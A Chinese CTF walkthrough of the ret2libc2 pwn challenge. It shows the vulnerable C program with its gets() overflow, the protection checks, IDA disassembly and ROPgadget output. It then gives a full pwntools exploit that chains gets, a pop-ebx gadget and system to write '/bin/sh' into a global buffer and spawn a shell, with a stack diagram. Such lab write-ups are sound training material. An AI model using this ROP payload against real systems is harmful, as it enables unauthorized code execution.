题目路径:
/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc2
看C代码
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
char buf2[100];
void secure(void)
{
int secretcode, input;
srand(time(NULL));
secretcode = rand();
scanf("%d", &input);
if(input == secretcode)
system("no_shell_QQ");
}
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf1[100];
printf("Something surprise here, but I don't think it will work.\n");
printf("What do you think ?");
gets(buf1);
return 0;
}
一、程序分析
checksec查看一下程序的保护机制,本题在ret2libc1的基础上去掉了’/bin/sh’的字符串
$ checksec ret2libc2
[*] '/home/hollk/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc2/ret2libc2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
检查后发现32位程序,NX保护开启,所以不能再栈中添加shellcode或者进行跳转实现,IDA查看一下程序
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets((char *)&v4);
return 0;
}
还是gets函数接收存在溢出点,v4变量距离esp指针0x1c,距离ebp指针0x64,所以v4其实地址距离ret返回地址0x6c+4个字节。
通过使用ROPgadget并没有找到/bin/sh字符串的位置,但是通过IDA找到该程序含有systemcall函数,那么既然本身没有/bin/sh字符串,我们可以通过手动输入的并让程序读的方式将/bin/sh部署到栈中
使用IDA查看gets函数plt地址,这将是一会输入的时候调用的函数
.plt:08048460 ; char *gets(char *s)
.plt:08048460 _gets proc near ; CODE XREF: main+72p
.plt:08048460 jmp ds:off_804A010
.plt:08048460 _gets endp
接下来我们需要在IDA中查找buf2的地址存放输入的/bin/sh字符串
.bss:0804A080 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?)
.bss:0804A080 _bss ends
最后需要在IDA中查找system函数的plt地址
.plt:08048490 ; int system(const char *command)
.plt:08048490 _system proc near ; CODE XREF: secure+44p
.plt:08048490 jmp ds:off_804A01C
.plt:08048490 _system endp
接下来我们需要将存放/bin/sh字符串的buf2变量pop进寄存器中。为什么要在这个部分进行gadget操作呢,首先pop_ebx_ret作为gets函数调用的返回地址,可以使gets调用顺利执行。其次在执行pop_ebx_ret后esp指针会进行上移,指向system_plt的调用,使得system_plt被esp指针弹出交给eip处理
hollk@ubuntu:~/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc2$ ROPgadget --binary ret2libc2 --only 'pop|ret' | grep 'ebx'
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
二、EXP
接下来写EXP:
from pwn import *
sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx_ret = 0x0804843d
buf2 = 0x0804A080
payload = flat(['hollkdig'*14, gets_plt, pop_ebx_ret, buf2, system_plt, 'holk', buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
三、栈布局
payload在栈中部署:
+---------------------------+
| buf2 | buf2中的/bin/sh作为system_plt的参数
+---------------------------+
| holk | holk作为system_plt的返回地址
+---------------------------+
| system_plt | 调用system_plt
+---------------------------+
| buf2 | buf2地址作为gets的参数接收bin/sh
+---------------------------+
| pop+ebx | gadget作为gets调用后的返回地址
+---------------------------+
| gets_plt | 覆盖原ret返回位置,调用gets_plt
+---------------------------+
| kdig | kdig覆盖原saved ebp位置
ebp--->+---------------------------+
| holl | hollkdig占位填满栈空间
| .... | .....
| kdig | hollkdig占位填满栈空间
| holl | hollkdig占位填满栈空间
| kdig | hollkdig占位填满栈空间
| holl | hollkdig占位填满栈空间
v4终止位置,ebp-0x64-->+---------------------------+